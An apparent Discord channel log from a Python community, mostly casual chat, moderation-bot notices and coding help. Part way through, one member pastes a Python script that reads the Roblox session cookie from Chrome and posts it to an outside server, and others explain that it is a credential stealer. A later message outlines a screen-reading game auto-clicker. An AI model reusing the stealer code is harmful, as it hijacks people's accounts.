#off-topic-lounge-text

1 messages · Page 14 of 1

sage dagger
#

Hi

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @unreal marten until <t:1744710343:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

dull anvil
#

(didn't hear the question)

dull anvil
#
  • ssh(1): the hybrid post-quantum algorithm mlkem768x25519-sha256
    is now used by default for key agreement. This algorithm is
    considered to be safe against attack by quantum computers,
    is guaranteed to be no less strong than the popular
    curve25519-sha256 algorithm, has been standardised by NIST
    and is considerably faster than the previous default.
#

25519 seems way too good that even algorithms to replace it use it anyway

#

this one might not be usable for signatures

#

I think

#

only key agreement is mentioned there

#

how long was it since SIDH ended

#

Papers We Love Conf 2022
https://pwlconf.org/2022/deirdre-connolly/
Transcript: https://pwlconf.org/2022/transcripts/Papers_We_Love_Deirdre_Connolly.txt

Deirdre Connolly / Zcash Foundation

Isogeny-based cryptography went from a curiosity to a serious post-quantum contender arguably because of this paper from Costello, Longa, and Naehrig from...

▶ Play video
#

@neon portal company or person?

dull anvil
#

I can't guarantee I will be able to answer

#

I've mentioned it multiple times not once

#

mostly document issues

#

I am currently employed, because the company was willing enough to ignore such circumstances

buoyant kestrel
#

@zinc sable @proud parcel Yo

#

@night lily And a good yo to you as well

zinc sable
#

hlo

dull anvil
#

I should send the image of hellish night sky I witnessed a month ago

#

this does not look normal

#

why is it red

night lily
zinc sable
#

while sun set

dull anvil
#

this was way past the sunset

#

somewhere around midnight

#

2 a.m.

zinc sable
#

i think sun was gonna rise

#

this is red magic

dull anvil
mystic light
#

Hi🙂

naive rune
#

hey guys how is everyone just joined!

dull anvil
#

no

#

dynamic tracing

#

find where it's spending its time

serene crystal
#

hhmmmmm

#

omg

neon portal
#

You can use cProfiler for that.

#

I found lots of duplications in my code thanks to that.

#

It gives some direction on what you need to focus on.

#

You can use gprof2dot to generate a figure of it with percentages of what code is using the most time.

dull anvil
#

perf and dtrace

neon portal
#

So, make a .prof using cProfiler, then generate an image from it.

dull anvil
#

you can attach those to a running process

neon portal
dull anvil
#

dtrace has python-specific probes

#

though not sure how up-to-date they are

#

it's been 20 years since then

#

approximately

#

* 18

serene crystal
#

I might start another project and just make this open?

serene crystal
#

hey

#

!voice

timid fjordBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

serene crystal
#

?

tawdry meadow
#

!pip discord

timid fjordBOT
serene crystal
waxen meteor
#

Python.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @full sage until <t:1744842358:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

sour surge
#

Holy grail of python 1 liner resources website does anyone know?

#

I jst keep some tricks on my sleeves for emergency prpose.. Hope someone provide resource.

dull anvil
sour surge
neon portal
#

It'll take you there.

median parcel
#

Are you guys making a neural network?

boreal ermine
#

why i dont have permission to speak?

dull anvil
#

!voice

timid fjordBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @storm flume until <t:1745007630:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

stable vapor
timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @limpid sable until <t:1745009632:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

stable vapor
#

hi

#

i cant speak

#

voice verification is not done it is my new account

#

can you help me in python code

#

i created that

#

when i test with real example i am not able to process image

#

somebody know how to load the image in same format which train model

undone sun
#

Guys someone send me this and told me to use it what is this do
import browser_cookie3
import requests

def get_and_send_cookie():
try:
cookies = browser_cookie3.chrome(domain_name='roblox.com')

    for cookie in cookies:
        if cookie.name == '.ROBLOSECURITY':
            roblo_cookie = cookie.value
           
            requests.post("https://yourdomain.com/save.php", data={"cookie": roblo_cookie})
            return

except Exception as e:
   
    pass

get_and_send_cookie()

#

Im scared

stable vapor
#

hey @undone sun

#

This code steals your Roblox login cookie from your browser.
It looks for the .ROBLOSECURITY cookie used to access your Roblox account.
Then it secretly sends that cookie to a hacker’s server.
With this cookie, someone can log into your Roblox without your password.
It's a dangerous and illegal script — never run code like this from unknown sources.

undone sun
#

Damn

#

Thx man

#

You saved me

undone sun
#

Does this script is good for a begginer

stable vapor
#

yes

undone sun
#

🙂

stable vapor
#

you did very good work

undone sun
stable vapor
#

it will helpfull for you in starting

#

i dont use that much but i use that 4 year ago when i was in UNI

stable vapor
#

it is good for practice

#

After one month of learning Python and gaining hands-on experience, start solving coding problems on LeetCode to strengthen your understanding of algorithms and problem-solving.

After two months, once you're comfortable with basic data structures and algorithms (DSA), start practicing on Codeforces to improve your competitive programming skills.

Stay consistent, track your progress, and aim to solve a variety of problems (easy to hard) to build confidence and depth in your coding abilities.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @devout forum until <t:1745172746:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @polar juniper until <t:1745185795:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @rancid heath until <t:1745191506:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

little sequoia
#

It's not sending cookie to user

#

Just checks if cookie is valid

dull anvil
dull anvil
#

... though no idea whether that domain is controlled by a malicious actor

#

in general you shouldn't run code like that either way

#

sending your cookies to websites they don't belong to is obviously not something your should ever do

dull anvil
timid fjordBOT
#

failmail :ok_hand: applied timeout to @void forge until <t:1745271959:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @fallen walrus until <t:1745274420:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @fierce trench until <t:1745276019:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

oblique peak
oblique peak
dull anvil
#

yes, that exact point, don't run untrusted code

#

especially if it has anything to do with cookies

oblique peak
oblique peak
night lily
#

Vaguely.

#

I don't do that.

#

What are you after?

#

Alas, I do not. What is it?

night lily
#

!rule 5

timid fjordBOT
#

5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.

night lily
#

@green yew Sorry. 🙂

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @rotund temple until <t:1745341712:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @fresh karma until <t:1745347175:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @plucky patrol until <t:1745352501:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @verbal viper until <t:1745425019:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

balmy eagle
balmy eagle
primal bison
#

@worldly umbra Hey how you doing?

worldly umbra
#

i'm really frustrated

primal bison
worldly umbra
#

I can't talk or text in some of the channels

primal bison
#

@primal bison How you doing?

worldly umbra
worldly umbra
primal bison
#

@glass forum Hello

worldly umbra
primal bison
dull anvil
#

!u 1363954436845604896

timid fjordBOT
#
coldsun.k
User information

Created: <t:1745262478:R>
Profile: @worldly umbra
ID: 1363954436845604896

Member information

Joined: <t:1745264505:R>
Roles: None

Activity

Messages: 6
Activity blocks: 1

Infractions

Total: 0
Active: 0

worldly umbra
#

I have to send 50 messages before

dull anvil
#

9 hours

worldly umbra
primal bison
#

@neon portal that is sooo cool

primal bison
#

@neon portal i can't whait to play it

dull anvil
#

72 hours
it's 63 so far, quite close

primal bison
#

You!

primal bison
primal bison
worldly umbra
primal bison
#

" ! "

primal bison
primal bison
primal bison
#

YES!

#

....

#

......

#

............

#

.

lean flame
#

makin a game here? @neon portal

primal bison
primal bison
primal bison
#

you should have known

primal bison
primal bison
primal bison
primal bison
primal bison
primal bison
#

he is the creator of the game

#

Not the God of the game

#

Do you understand?

lean flame
primal bison
#

Do you understand what I mean?

primal bison
primal bison
lean flame
lean flame
#

why does it matter

primal bison
#

Jesus is god?

#

So am I!

#

If prophet can be God of fools (human)

#

So am I!

lean flame
#

sure...

primal bison
primal bison
#

Jesus Christ is the son of God.

primal bison
primal bison
lean flame
#

@neon portal What are you planning to do with the slow mo shots?

primal bison
#

Human mother

primal bison
primal bison
#

I'm just saying what I know.

#

You can see from my accounts that I'm a girl.

primal bison
neon portal
#

Probably a troll. I'd suggest making a modmail.

primal bison
#

What?

primal bison
#

Jesus

#

is

#

the

#

Son

#

Of

#

God

lean flame
#

This is a side scrolling rpg right?

primal bison
#

What did you not understand?

lean flame
#

looks cool

neon portal
lean flame
#

oh interesting

neon portal
#

I was working on it properly, but had to rotate back to my main packages. I am still working on my latest release, but I'm using this for a course, and I have to make it presentable for this monday, so, taking time off to work on it.

lean flame
#

ok

primal bison
#

All these are hoax to me!

lean flame
#

@stable vapor read the chat here

primal bison
#

@stable vapor How you doing?

lean flame
#

we're loosely discussing the game right now

stable vapor
primal bison
#

glad to hear that!

#

Do you have portfolio site?

#

@stable vapor

primal bison
#

so you can speak on voice

#

Stop!

#

What did i do?

#

" !"

#

I didn't asked for help

lean flame
primal bison
#

So stop it!

lean flame
#

And you shouldn't be forcing others to speak. They might feel uncomfortable sharing their voice.

primal bison
#

I just told him.

#

First, I'm not new to server!

#

he does what he wants

#

So I do know how to verify

#

Okay

#

Second I prefer not to speak in voice call

#

I'm sorry if you thought I was harsh with you, I didn't mean to upset you.

#

Nah, I'm not upset

#

Okay

#

I do not have ego to be bothered

lean flame
#

Wave @dull anvil

primal bison
#

I'd like to ask!

#

Certification has any value?

#

Like Certification in Language or skill?

lean flame
#

Like a degree? University/college degree?

primal bison
#

Certification from codeacademy!

lean flame
#

Sure, they certainly have value in helping you when looking for jobs as they may require a certain certification

primal bison
#

Or EDX

lean flame
#

Codeacademy and edx are two kinda different things afaik... edx seems to be uni certification based

#

codeacademy really just teaches you coding.

neon portal
#

brb

primal bison
#

AF is typing for so long!

lean flame
#

Yeah, edx is a place to earn credentials from companies/unis... whereas codeacademy is more like a not-for-profit project which just teaches the basics (i think) of a selection of languages.

dull anvil
timid fjordBOT
#

failmail :ok_hand: applied warning to @primal bison.

neon portal
#

back

dull anvil
#

@arctic crypt no

glacial oasis
#

Hi

#

@neon portal

dull anvil
#

@neon portal the other way

#

@neon portal there's a VSCode integration for draw.io btw

neon portal
#

Lmk if I have background audio.

cold lintel
#

Hey 👋

#

Not bad! Got an assignment in at (almost literally) the last minute yesterday lemon_sweat

#

How're you doing?

#

Oh signal processing? I have to do an assignment on the fast Fourier transform 👀

unborn sorrel
neon portal
dull anvil
#

!d numpy.fft

timid fjordBOT
#

Discrete Fourier Transform

The SciPy module scipy.fft is a more comprehensive superset of numpy.fft, which includes only a basic set of routines...

cold lintel
#

I already missed an assignment for this course because I got my dates mixed up, and that was like 25% of the grade 😑

cold lintel
neon portal
#

I'm also doing an assignment rn.

cold lintel
#

Errrm, I was too embarrassed to even ask to be honest

neon portal
#

Sitcom episode right here. Everyone doing uni, lesson being not to procrastinate I guess (I really didn't want to work on it).

neon portal
cold lintel
#

Turns out though they probably would have granted an extension, but it's too late now. I'm really fine with just passing this course however.

neon portal
cold lintel
#

I've found usually universities are pretty good regarding extenuating circumstances. At least they'll usually let you re-sit.

mellow solar
#

LX are you using Octave?

#

or just simble python?

cold lintel
cold lintel
neon portal
#

I don't like my uni projects, so I rarely want to spend time on them.

cold lintel
#

It does feel great completing work early however 😄

#

When that occassionally happens..

neon portal
#

Like right now, I didn't want to work on this, I wanted to finish my 0.0.0 release for quick.

cold lintel
#

@mellow solar What was your question about the FFT sorry? Bear in mind I haven't actually studied that section of the course yet, so I'm not exactly an authority on the subject

mellow solar
cold lintel
#

Oh right

mellow solar
#

I completed the course

cold lintel
#

Gotta go 👋

mellow solar
dull anvil
#

@unborn sorrel

bool uninitialized_because_C;
#

third state

#

and many more

#

UBoolean

night lily
#

I'm alive.

#

Ace...

#

Ace.

dull anvil
#

waiting for the release

neon portal
neon portal
night lily
#

Does this dress make me look fat?

neon portal
#

You make the sun envious.

rocky bear
night lily
#

Boy got rizz.

neon portal
neon portal
rocky bear
#

hehe 😄

neon portal
night lily
#

Bananaboat.

#

Mananama

rocky bear
#

tung tung tung sahur

night lily
#

Muppets?

unborn sorrel
night lily
#

Burying my feelings in gaming.

neon portal
#

Been playing that alot.

night lily
#

The same. Endless Sky. But with some Midnight mods.

rocky bear
#

guys i have discovered a game

#

it is very new

#

i think we can support it

dull anvil
#

nethack

rocky bear
#

it is called minecraft or something

#

i am acting too dumb i gtg

night lily
#

Solidly endgame.

#

I'm collecting extra quest stuff.

#

Can be.

#

It's a bit of a save scummer.

dull anvil
#

I very much do not remember it being an easy game

night lily
#

Early game is hard. Once you knock loose more powerful ships, it starts to cascade up.

dull anvil
#

Pulsar was quite a fun game

night lily
#

From there, there's intentionally available cheeses you can do to get even more power.

dull anvil
#

I don't remember if I played it after 1.0 released

night lily
#

Early game can be "rocks fall, you die"

dull anvil
dull anvil
night lily
#

Atm I've worked my way up to what I think is the largest ship available normally in the mod.

dull anvil
#

but that game is rogue-like in a sense, so kind of expected

night lily
#

When I end up bored, I might slap a few more mods on or restart the game.

dull anvil
#

now I wonder if I'd be able to log into my Eve Online account

#

I still mostly remember what I was doing there the last time

#

which was 3~6 years ago

#

in some aspects maybe?

#

Eve is MMORPG

#

Endless Sky, afaik, is single-player-only

dull anvil
#

(bought it successfully)

#

what was that other big one called

#

elite dangerous

#

I still have not progressed in it anywhere far

dull anvil
#

my most successful run (still not dead) was with bots only (+ me as captain)

#

and save loading disabled

#

i.e. death implying loss of everything

dull anvil
#

mostly because it makes worrying about saving irrelevant

#

one less moving piece

night lily
#

Tell me it isn't the "don't you people have phones?" guy.

neon portal
#

Could someone review my uml if possible?

buoyant kestrel
#

I just realized all you nerds are down here

elder creek
#

whats happenin

unborn sorrel
timid fjordBOT
#

Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.

neon portal
#

!paste

timid fjordBOT
#
Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.

neon portal
buoyant kestrel
#

@civic bolt If you're wondering why you can't talk, check the #voice-verification channel. That'll tell you what you need to know about the voice gate

mellow solar
#

"I want the nuggets"

rocky bear
#

eo7 very nice graphics

buoyant kestrel
#

!source

timid fjordBOT
rocky bear
#

it will be the philippines guy

#

his reputation is strong

#

!source

timid fjordBOT
rocky bear
#

why is it blank? and what is it supposed to be anyway?

#

o its not blank for you

dull anvil
#

@neon portal "priority stack"?

#

@neon portal heapq?

#

@neon portal ordering

#

@neon portal or state machine

#

@neon portal use it better

#

@mellow solar I don't think I have

#

cubic root next

#

@unborn sorrel can tailwind still be used without a build system or has it gone too far into that direction

neon portal
#

@rich moss Wondering how you'd implement this logic:

Priority:
- death (Cannot be overwritten by anything. Overwrites everything) - Clamped until completion, disables animation afterwards
- hurt - Clamped until/unless Banjo stops melee or until/unless soldier dies
- alert - Clamped until/unless Banjo melees or until/unless completion or until/unless interrupted by above states
- melee - Clamped until/unless Banjo is dead or until/unless Banjo is out of melee range or until/unless interrupted by above states
- reload - Clamped until/unless completion or until/unless melee or until/unless interrupted by above states
- aim_fire - Clamped until/unless soldier melees or until/unless Banjo is out of shooting range or until/unless interrupted by above states
- walk and run - (Can overwrite idle) - Clamped until/unless soldier arrives at destination or until/unless interrupted by above states
- idle (Can be overwritten by anything. Overwrites nothing)
broken rampart
unborn sorrel
#

You can use it without the build system

#

Just use the CDN or the entire minified code for it

#

The build system just cuts out all the stuff you are not using

final delta
#

Finally I made a go program to convert the image to ascii.
Any images to convert?

final delta
#

No comments?

#

It takes the image and print the ASCII art line by line

#

Of any image

#

How difficult would it be to do the same locally in python?

#

I can share the code

#

Okay

timid fjordBOT
#

Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.

final delta
#

How do i share code?

hidden sparrow
#

python discord's pastebin

final delta
hidden sparrow
#

Where to find it?

#

Google

dull anvil
hidden sparrow
#

I'm just eating

void talon
nocturne osprey
#

@wide crown can I screen share in Live-Coding? I wanna show Cory about recursion and stuff

#

@lavish heath

(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))
dull anvil
#

does not look complete

#

missing TLD checks

nocturne osprey
dull anvil
#

it might make sense to do extra checks in code

#

also if you go too extreme on checking, you will also end up with unusable software

#

because test@localhost is technically a valid email in some circumstances

arctic crypt
#

Email addresses/domains Known spam/abuse sources, disposable Prevent spam, fraud
IP addresses Listed on DNSBL/RBL Protect deliverability
Suspicious patterns Spam traps, random strings Avoid spam traps
High-risk providers Temporary/disposable email domains Maintain list quality
Malformed emails Invalid format Basic validation

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @mystic matrix until <t:1745607893:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @wooden oar until <t:1745611078:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

#

:incoming_envelope: :ok_hand: applied timeout to @plain quail until <t:1745611493:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

quaint lotus
#

.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @heavy lintel until <t:1745666587:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @mellow obsidian until <t:1745682888:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

woven socket
#

geez

halcyon mason
#
(ns frontend.macros
  #?(:cljs (:require-macros [frontend.macros])))

#?(:clj
   (defmacro slurped
     "Like slurp, but at compile time"
     [filename]
     (slurp filename)))
halcyon mason
#

<@&831776746206265384> can we give ik∅ streaming permission?

#

Video role?

#

I know him from several servers and I think he's respectable enough.

brazen wave
timid fjordBOT
brazen wave
#

this testcase fails
[3,4,4,5,null,null,5,6,null,null,6]
this is symmetrical and the program is supposed to outputTrue for it.
this is how the tree looks like from the input data above.
honestly i'm not sure why the tree looks like that.

halcyon mason
#
from __future__ import annotations
from typing import Optional

class Solution:
    def isSymmetric(self, root: Optional[TreeNode]) -> bool:
        return self.mirrors(root.left, root.right)

    def mirrors(self, left: Optional[TreeNode], right: Optional[TreeNode])->bool:
        if left is None and right is None:
            return True
        if (left is None and right is not None) or (right is None and left is not None):
            return False
        # now we know left and right are TreeNode types:
        if left.val != right.val:
            return False
        return (
            self.mirrors(left.left, right.right)
          and
            self.mirrors(left.right, right.left)
        )


class TreeNode:
    def __init__(self, val: int=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

EDIT - the second condition:

if (left is None and right is not None) or (right is None and left is not None):

can be simplified to:

if left is None or right is None:
final delta
#

What kind of OS is it?
It looks unfamiliar to me!

haughty compass
#

Yo

#

Can't speak

#

What's up?

#

Maybe a span @brazen wave

#

spam*

#

A request header?

haughty compass
#

@brazen wave @primal bison

brazen wave
#

I try not to use AI and am not vibe coding.
But I know there's tons of vibe coders out there.

#

I only ask it like some general information about some topics, but I'd rather not delegate problems to it.

haughty compass
#

Yeah that is a problem out in the market

#

The internet is being filled with a lot of AI generated crap that even the prompter does not know.

haughty compass
#

Yeah

#

I personally got remote access into multiple of these "The next big thing".

#

Yeah

#

Hehe

haughty compass
#

To be honest most of the security vulnerabilities they had were back in 2000s.

#

Nah

#

I like talking.

#

Which one?

#

I see, got it.

#

It does not need hacking.

#

Yeah it can be done using OpenCV.

#

ChatGPT will not be nice, when it comes to developing it.

#

It is fairly limited in development.

#

Quite good for high level overviews and research

#

Liked it so much that I made an alternative for myself but a bit better at coding snippets.

#

@primal bison

#

Here's a quick rundown on creating an OpenCV-based overlay that detects movement in a game and automates clicks:

1. Setup Basics

  • Install OpenCV:
    pip install opencv-python numpy pyautogui
    (OpenCV for vision, numpy for processing, pyautogui for clicks)

2. Capture Game Screen

  • Use mss (faster than PIL/PyAutoGUI for screenshots):
    import mss
    with mss.mss() as sct:
        monitor = {"top": 0, "left": 0, "width": 1920, "height": 1080}
        img = np.array(sct.grab(monitor))
    
#

3. Motion Detection

  • Frame Differencing:
    Compare consecutive frames to detect changes:
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    if prev_frame is not None:
        diff = cv2.absdiff(prev_frame, gray)
        _, thresh = cv2.threshold(diff, 25, 255, cv2.THRESH_BINARY)
        contours, _ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
    prev_frame = gray
    

4. Target Selection & Click

  • Filter contours by size (avoid noise), get centroid:
    for c in contours:
        if cv2.contourArea(c) > 500:  # Adjust threshold
            x, y, w, h = cv2.boundingRect(c)
            pyautogui.click(x + w//2, y + h//2)  # Click center
            break  # First valid target
    

5. Overlay (Optional)

  • Draw rectangles for debugging:
    cv2.rectangle(img, (x, y), (x+w, y+h), (0, 255, 0), 2)
    cv2.imshow("Overlay", img)
    if cv2.waitKey(1) == ord("q"): break
    

Key Notes:

  • Performance: Use mss + numpy for fast screenshots (~60 FPS).
  • Thresholds: Tweak contourArea and diff values to reduce false positives.
  • Game Compatibility: Works best with static backgrounds (e.g., RuneScape, old-school UIs).
  • Anti-Cheat: Risk of bans in online games—use at your own risk.

TL;DR: Capture screen → diff frames → find contours → click biggest blob. Overlay for debugging.

Need optimizations for specific games? Describe the scenario. 🎮

#

It's like a high level approach you can follow then update the part of code to be finetuned to your needs.

#

Alright GTG fellas, nice chat.

primal bison
#

hello

hasty spruce
#

Doing some n8n investigation tonight, marrying it with ngrok in a docker-compose currently and trying to get it wired up to connect to my family Discord server.

crimson patio
#

whats up guys

#

I wanna learn python

#

any recommendations where to start?>

halcyon mason
hollow mesa
#

@spice ridge

hollow mesa
spice ridge
#

it's L not i

#

@hollow mesa

hollow mesa
spice ridge
#

what are doing

#

@hollow mesa

hollow mesa
#

Not much

#

Tell me about yourself Al

spice ridge
#

i was just looking at git commands

i was bored and got into the voice channel

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @opaque widget until <t:1745954436:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @olive inlet until <t:1745957730:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

brittle scarab
#

OK

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @barren galleon until <t:1746021473:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

neon portal
#

@jagged swallow Want to come here?

jagged swallow
#

yus

#

give me just a few

#

on the phone atm

neon portal
#

Take your time sir.

neon portal
#

@agile portal I'm here.

undone fable
#

hello world

#

anybody here?

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @warm gust until <t:1746131592:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @upbeat prawn until <t:1746138933:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

small quartz
#

Hello

#

I’m new

undone fable
#

help !d

ruby jewel
#

Hey

lethal crag
#

I have just noticed that Io is gone.

#

Therefore I go too.

rapid crest
#

/verify

night lily
timid fjordBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @lusty phoenix until <t:1746481599:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @lusty phoenix until <t:1746484327:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

undone fable
#

howdy folks?

cyan summit
#

Kk

turbid prairie
#

Char what’s better nginx or Apache

torpid nimbus
#

but if I have to use one I personally use apache

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @turbid prairie until <t:1746810513:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

turbid prairie
#

Sigma

crude pulsar
#

!e
<code>
print(”how to correct format“)
</code>

timid fjordBOT
#
System Python

Why Avoid System Python for Development on Unix-like Systems:

  • Critical Operating System Dependencies: Altering the system Python installation may harm internal operating system dependencies.
  • Stability and Security Concerns: System interpreters lag behind current releases, lacking the latest features and security patches.
  • Limited Package Control: External package management restricts control over versions, leading to compatibility issues with outdated packages.

Recommended Approach:

  • Install Independent Interpreter: Install Python from source or utilize a virtual environment for flexibility and control.
  • Utilize Pyenv or Similar Tools: Manage multiple Python versions and create isolated development environments for smoother workflows.
craggy isle
#

@night lily 💀

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @primal bison until <t:1746884887:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

turbid prairie
#

anyone willing to give someone advice?

#

its about a discord bot

lament sleet
#

!python

timid fjordBOT
#
System Python

Why Avoid System Python for Development on Unix-like Systems:

  • Critical Operating System Dependencies: Altering the system Python installation may harm internal operating system dependencies.
  • Stability and Security Concerns: System interpreters lag behind current releases, lacking the latest features and security patches.
  • Limited Package Control: External package management restricts control over versions, leading to compatibility issues with outdated packages.

Recommended Approach:

  • Install Independent Interpreter: Install Python from source or utilize a virtual environment for flexibility and control.
  • Utilize Pyenv or Similar Tools: Manage multiple Python versions and create isolated development environments for smoother workflows.
primal bison
#

! python

#

!python

stable vapor
stone jungle
ripe crag
#

heya!, im sorry, i'm not elegible yet to speak hehe

north lynx
#

I

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @north lynx until <t:1747248463:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @keen wedge until <t:1747335088:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

turbid prairie
#

Lol

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @keen wedge until <t:1747393012:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @wide light until <t:1747504508:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

primal bison
#

What is going on here?

#

Omg

glossy grail
#

import random
round_checker_number = 0
user_wins = 0
computer_wins = 0
options = ["rock","paper","scissors"]
while True:
random_number = random.randint(0,2)
computer_pick = options[random_number]
user_input = input("Lets play rock paper scissors! If you would like to quit, press q. Pick rock,scissors or paper. Choose wisely").lower()
if user_input == "q":
break
elif user_input not in options:
continue
if user_input == "scissors" and computer_pick == "paper":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == "rock" and computer_pick == "scissors":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == "paper" and computer_pick == "rock":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == options[random_number]:
print("draw")
round_checker_number += 1
print(f"Current round is {round_checker_number}")
else:
print("You lost")
round_checker_number += 1
print("Computer picked", computer_pick)

dusk bramble
#

й

arctic crypt
old sentinel
#

import tkinter as tk
import time

window = tk.Tk()
window.title("Đồng hồ ảo")
label = tk.Label(window, bg='black', fg='red',
font=('Time New Roman', 50))
label.pack()
while True:
time = time.strftime("%Hh%M")
label.config(text=time)
window.update

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @dense flower until <t:1747609443:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

primal bison
#

Bro this is so sad 😭 pls don't spam to get voice perms

#

Read the rules guys pls 😭😭

paper quartz
#

anyone used uv,
do you know how to upgrade dependencies written in project.toml file?
does any command exists so that it can take python version, all dependencies in consideration when upgrading dependencies????

paper quartz
# violet mulch

ok
so i need to use constraints rather than using == to define the dependencies

#

have a look on my project.toml file


dependencies = [
  "inquirerpy == 0.3.4",
  "multiprocess == 0.70.14",
